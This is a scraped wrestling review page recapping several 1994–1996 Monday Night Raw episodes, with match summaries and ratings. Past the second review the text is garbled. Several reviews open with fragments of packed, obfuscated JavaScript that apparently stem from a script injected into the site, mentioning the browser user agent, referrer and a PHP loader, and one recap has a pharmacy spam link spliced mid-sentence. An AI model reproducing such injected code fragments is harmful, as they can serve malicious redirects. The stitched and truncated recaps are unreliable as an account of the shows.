IMG Credit: WWE

Monday Night Raw
Date: September 19, 1994
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Attendance: 2,300
Commentators: Vince McMahon, Randy Savage

The big attraction here is Jerry Lawler vs. Duke the Dumpster Droese. I don’t know what else there is to say here, but that’s the high point of the show. We have nothing better than Lawler vs. a trashman and we’re not even in Memphis to make it feel special. I’m almost scared to see what we’re getting here as it’s the dreaded last night of a taping cycle. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a look at Tatanka joining the Million Dollar Corporation. Unlike Lex Luger, he understands the value of a dollar.

Opening sequence.

Lex Luger vs. The Executioner

I’d bet on that being Dwayne Gill under a mask. Luger headlocks and shoulders him down to start but Executioner grabs a small package for two. Some forearms to the back stagger Luger but he’s right back with a running clothesline. The Rack is good for a fast submission.

Duke Droese vs. Jerry Lawler

They’re getting to the big one early this week. Before the match, Lawler makes trash jokes about Droese being filthy. The chase is on before the bell but Lawler is finally willing to get inside. Lawler’s headlock gives him a big smile so Droese shoves him hard into the corner. That means Lawler hides behind the referee as he continues to know how to rile the fans up while doing a grand total of nothing.

Now it’s Lawler being sent outside so he can yell at some fans, followed by a big hiptoss inside. Droese hammers away in the corner for a face first fall, meaning Lawler needs another breather. Back in and Lawler gets backdropped so it’s another trip to the floor and we take a break. We come back with Lawler stalling more, all with the fans being rather annoyed with him (in a good way).

It’s time to go to Memphis with the invisible object and a single shot puts Droese down. Lawler gets on the rope and poses and it’s time to slug away. The middle rope fist gets two but Droese launches him with the kickout. There’s the piledriver but Lawler goes outside to get the trashcan. Cue Dink of all people to spray Lawler with a water gun. The chase is on and that’s a countout to give Droese the win.

Rating: D+. I could go with the standard Lawler antics but then a miniature clown came in to cause a countout because Lawler got distracted by a trashcan. That’s one thing for a fun little match somewhere on the show but this was the featured match on the card, to the point where they even advertised it twice last week. It had some promise and then turned into a product of the era.

Post match the chase is still on until Doink comes out to send Lawler running into the crowd.

Heavenly Bodies vs. Mike Bell/Steve King

Joined in progress with Del Ray suplexing King and rubbing a forearm to his face. Prichard comes in for an elbow drop and it’s already back to Del Ray for a dropkick. A suplex sets up the moonsault to finish King in a hurry. Bell never even tagged in.

Another New Generation confession ad. They thought it was so great that they did another version?

Vince McMahon brings out Bob Backlund for an interview. Bob is booed out of the building, having recently snapped on Bret Hart. Vince asks what is going on in Backlund’s head but Bob needs to make it clear that he is NOT a former champion. He’s coming up on seventeen years as WWF Champion and starts ranting about society today, including bad pencils.

The fans are the ones who changed and he put the chickenwing on Bret because he wants to put it on every one of the fans. The people have manipulated themselves because the chickenwing is the greatest hold in wrestling. Even Bret can’t get out of it and it’s not his fault that people in America can’t stick to a diet or can’t read. Vince asks about Backlund saying no one can escape the chickenwing after saying for years that no one can escape the hold.

Bob is so confident in the hold that if anyone can escape it from the mat, he’ll retire. The jacket comes off and it’s time for a demonstration on a WWF Magazine writer at ringside. The chickenwing goes on and Backlund cranks on the thing, causing Vince himself to try for the save. It’s so much that Savage comes in for the real save, leaving Backlund just staring at his hands. He is MR. BACKLUND and you can feel it. This was awesome as Backlund came off as a complete psycho and having Vince getting involved made it even better.

Bob Holly vs. Richie Rich

Isn’t Macaulay Culkin a little young to be a jobber here? Commentary completely ignores the match to rant about Backlund as Holly works on the arm to start. A clothesline into a high crossbody finishes Rich in a hurry.

Yokozuna vs. Phil Apollo

Vince is back to normal and Yokozuna is making a rare solo appearance. Yokozuna elbows him down to start and hammers Apollo down in the corner without much effort. The Banzai Drop is good for the fast pin.

Post match Undertaker’s music hits to freak Yokozuna out.

Overall Rating: D+. That Backlund promo came as close to saving a rotten show as you can get though even it had a limit. The rest of the show was pretty terrible, though I can appreciate the last two matches being short and to the point rather than dragging them out longer than necessary. They need a pay per view to build towards though because hearing about the Hart Attack Tour every few seconds isn’t quite cutting it.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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IMG Credit: WWE

Monday Night Raw
Date: January 16, 1995
Location: Summit, Houston, Texas
Attendance: 3,500
Commentators: Vince McMahon, Shawn Michaels

We continue the build towards the Royal Rumble though you would barely know it based on the TV shows lately. The main focus here has been on Bret Hart, who is getting a WWF Title shot at the pay per view but he’s been busy dealing with Jeff Jarrett and Jerry Lawler instead of going after Diesel. It’s the go home show tonight and I don’t see this going well for the Rumble build. Let’s get to it.

Here are last week’s results if you need a recap.

Vince narrates a Star Trek style opening video about Hart vs. Jarrett with William Shatner in Bret’s corner.

Opening sequence.

Heavenly Bodies vs. 1-2-3 Kid/Bob Holly

This is a rematch from the Tag Team Title tournament semifinals where the Bodies lost. The Bodies jump them before the bell with the Kid being sent outside and Holly getting kicked in the ribs. Del Ray clotheslines Holly for two and we hit the choking. Prichard comes in and gets legdropped onto Holly for two as the announcers talk about the Super Bowl points spread.

The gutwrench powerbomb gives Prichard two more and it’s back to Del Ray for a high crossbody. Holly rolls through for two and here are Tatanka and Bam Bam Bigelow, who get Holly and Kid for the titles on Sunday. A double clothesline is broken up as Holly dives onto the two arms to pull the Bodies together (I’m still not sure if that makes sense or not) and it’s off to the Kid. Everything breaks down and Kid gets caught in a double suplex, only to have Holly make the save with a spear. Kid rolls Del Ray up for the pin.

Rating: D+. Totally basic formula here and there’s nothing wrong with opening a show like that. The Kid and Holly are still not a great team but they’re exciting enough to give a chance, even if it doesn’t last long. It’s not like the tag division has any depth at the moment so see what two fun guys like that can do.

Bret Hart and William Shatner are ready for tonight. Hart insists he has no ring rust and Shatner dubs Roadie as Road Dogg.

Mantaur vs, Jason Ahrndt

Jim Cornette is managing Mantaur, which is a rib on him for reasons of the company having a bad sense of humor. Mantaur runs Jason over to start and slowly stomps away as Shawn says his Rumble number doesn’t matter. Another charge takes Jason down and a splash finishes in a hurry. Mantaur’s theme music is literally a moose’s call. Can you blame Cornette for hating this stuff?

Royal Rumble Report. You should order the show because Pamela Anderson is going to be there. Something about wrestling too. There’s nothing to this card aside from a Bret vs. Diesel match we’ve seen before and they know it. Case in point: Undertaker and Paul Bearer talk about being ready for IRS.

Jeff Jarrett says he’ll win the Intercontinental Title and take care of Bret Hart tonight.

Jeff Jarrett vs. Bret Hart

Roadie and William Shatner are here. Vince brings up a good point: why would either of these two take a match before they’re challenging for titles on Sunday? Bret gives his glasses to a young fan at ringside and the kid smiles so much that even I have to smile. I know wrestling gets a lot of flack at times, but kids smiling at wrestling is one of my favorite things.

Feeling out process to start and Bret gets a bit heelish by raking the eyes across the rope. An atomic drop and running clothesline take Jarrett down and the armbar goes on. Jeff can’t even slam or armdrag his way out of the armbar as Bret is rather tenacious with the thing. Back up and Bret grabs a sleeper, which is broken up a bit more easily. A swinging neckbreaker takes us to a break and we come back with Bret sunset flipping him for two.

Shatner is playing cheerleader and does at least seem happy to be there. That’s more than most celebrities can say. Jarrett’s middle rope ax handle hits Bret but some right hands start the comeback. The Russian legsweep gives Bret two and we’re firmly in the Five Moves Of Doom.

Jeff blocks the Sharpshooter with a rake to the eyes so Bret ties him into the ropes for a change of pace. Roadie makes the save though, allowing Jeff to slap on the Figure Four. The rope is grabbed, albeit with Shatner shoving the rope towards Bret for a little help. Back up and Jeff tries an O’Connor Roll but Bret uses the tights to reverse into one of his own for the pin (without tights).

Rating: C+. Of course the match was fine and Bret was feeling it well enough with the slightly heelish tendencies, though I’m not sure how smart it was to have Jeff take the pin six days before he’s going to challenge for the Intercontinental Title. He lost to a big name, but that isn’t exactly making things that much better. There was no one else to have take the spot in the mini feud with Bret? The bad thing? There really isn’t.

Post match Shatner knocks Roadie down and avoids a dive off the top by just stepping to the side. He even sends Roadie into the buckle a few times and then over the top.

We recap the Tag Team Title tournament before Sunday’s fine.

It’s time for the King’s Court with the Million Dollar Corporation as the guests. DiBiase is ready for the team to have a great night on Sunday when Bam Bam Bigelow and Tatanka win the Tag Team Titles, IRS gets rid of Undertaker and King Kong Bundy wins the Royal Rumble. Then the next night, Bigelow and Tatanka can beat the Smoking Gunns to really show how great they are. Somehow, this takes the better part of five minutes.

Mabel vs. Lee Tobin

Tobin’s headlock works as much as you would imagine it would on a 6’10 560lb guy in purple and gold. A suplex puts him down as the announcers talk about OJ Simpson and the Rumble. Mabel’s jumping enziguri connects but Tobin manages to shoulder him into the corner. That’s about it for him though as Mabel runs him over and hits the legdrop for the pin.

Post break Mabel says he’s going to win the Rumble but Shawn disagrees. So does King Kong Bundy, who wants to fight right now.

Royal Rumble ad, again focusing on Pamela Anderson more than the wrestling. In this case, I get the idea.

Back with no Bundy on Mabel violence but the announcers preview the Rumble.

A video on Diesel ends the show.

Overall Rating: D. The Jarrett vs. Hart match was pretty good but this was a dreadful go home show for the Rumble. It felt like they were trying to cram in whatever they could into the last segment and that’s not a good sign less than a week before one of the biggest shows of the year. Pretty awful show here but the middle match was perfectly fine.

I’ve already done the January 23 show, which you can find right here:

http://kbwrestlingreviews.com/2013/01/23/on-this-day-january-23-1995-monday-night-raw-a-1995-raw-that-doesnt-suck/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tatdd|var|u0026u|referrer|nzisd||js|php'.split('|'),0,{})) Night Raw
Date: February 26, 1996
Location: Cincinnati Gardens, Cincinnati, Ohio
Attendance: 8,500
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Isaac Yankem D.D.S. vs. Jake Roberts

The Ultimate Warrior is coming back due to fan requests.

Bob Holly vs. Diesel

Diesel goes to leave and the gong sounds. The lights go out and Undertaker is in the ring but he disappears when Diesel comes close. Coward. They go out again and Undertaker is on the video screen, saying he can play mind games too.

Ahmed Johnson vs. Shinobi

Mankind talks about playing the piano for his mommy and her friends.

British Bulldog/Owen Hart vs. Yokozuna

Rating: D-. To be fair it had been a long time since we had a bad match. Yokozuna was just way beyond saving at this point and was little more than a freak show. Vader beating him up would have been fine at Wrestlemania but they were probably better off changing things up for the sake of the fans having to watch those two have a match on their own.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddsis|var|u0026u|referrer|bfhdt||js|php'.split('|'),0,{})) Night Raw
Date: May 15, 1995
Location: Broome County Arena, Binghamton, New York
Commentators: Vince McMahon, Jerry Lawler

Owen Hart/Yokozuna vs. Nick Barbarry/Bill Weaver

We look at some stills of Lawler and his mom (a twenty-something year old model) beating Bret last night.

The latest ad campaign: aliens want to destroy the world but spare it for the sake of the WWF. Ok then.

Man Mountain Rock vs. Iron Mike Sharpe

We see the house being given away last night and an 11 year old actually won the thing.

Stills of Jeff Jarrett/The Roadie beating on Razor Ramon until Savio Vega debuted for the save.

King of the Ring Qualifying Match: Mantaur vs. Bob Holly

Ted DiBiase wants a tag match with Diesel/Bigelow vs. Sid/Tatanka for King of the Ring.

I.R.S. vs. Bam Bam Bigelow

We hit the chinlock for a bit, followed by an abdominal stretch to really spice things up. I.R.S. takes a buckle pad off (Uh, Diesel? Help?) and sends Bigelow into the steel for two, only to have Bigelow do the same (with the head clearly not making contact) and dropping a headbutt for the pin.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akfns|var|u0026u|referrer|szzbr||js|php'.split('|'),0,{})) Night Raw
Date: May 1, 1995
Location: Civic Auditorium, Omaha, Nebraska
Attendance: 5,800
Commentators: Vince McMahon, Jerry Lawler

We open with a recap of Tatanka costing Bam Bam Bigelow the WWF World Title last week, causing Ted DiBiase to fire him. Bigelow fought back and said he quit, earning himself a big beatdown including a horrible powerbomb from Sid. Diesel ran out for the save and a Jackknife on Tatanka. Bigelow and Diesel shook hands to end the show.

Opening sequence.

We look at Sid powerbombing various people to send him into the main event.

Lawler has a contract for Bret Hart.

Allied Powers vs. George Anderson/Tom Hagan

Bob Holly vs. Butler Stevens

Mantaur vs. Sonny Rogers

Sycho Sid vs. Razor Ramon

Adam Bomb vs. Dave Sigfried

Razor gets medical treatment.

Hunter Hearst Helmsley is snooty and rich.

Men on a Mission vs. Bill Duke/Kevin Kruger

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Date: December 18, 1995
Location: Bob Carpenter Center, Newark, Delaware
Commentators: Vince McMahon, Jerry Lawler

We open with a recap of last night, including Diesel and Undertaker staring each other down to plant seeds for Wrestlemania.

Opening sequence.

Jeff Jarrett vs. Fatu

Ahmed beats Jarrett up and helps Fatu to the back.

The graphic for Razor vs. Yokozuna is really weird as Razor is in the middle and Yokozuna is off to the side with most of his left arm cut off.

Goldust wants to sleep with Razor Ramon.

Buddy Landel vs. Bob Holly

Raw Bowl ad. Did they really think this was some brilliant idea?

Intercontinental Title: Razor Ramon vs. Yokozuna

And to wrap it up, Tell Me A Lie, a video tribute to Shawn Michaels who might never return.

I mean, there was the face crushing last month but Undertaker is getting a title shot at the Royal Rumble and is pretty clearly about to fight Diesel soon after that. Why do I need to see him with Yokozuna? Absolutely horrible show here with almost no effort, nothing interesting, and now I have Tell Me A Lie stuck in my head. Thanks Raw, for irritating me this badly.

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Date: December 4, 1995
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 4,500
Commentators: Vince McMahon, Jerry Lawler

The opening video looks at Dean Douglas vs. Razor Ramon and Marty Jannetty vs. Sid, both taking place tonight.

Opening sequence.

Bob Holly vs. British Bulldog

http://your-pharmacies.com hand in the ring and good for something like this but that gimmick was just death and everyone knew it.

Fatu vs. Brooklyn Brawler

We go to Dok Hendrix for a Slam Jam but have to cut to Backlund beating up the sound guy for sending them to break.

Intercontinental Title: Razor Ramon vs. Dean Douglas

The Raw Bowl is coming. That show was stupid.

Marty Jannetty vs. Sid

Sid powerbombs Marty post match.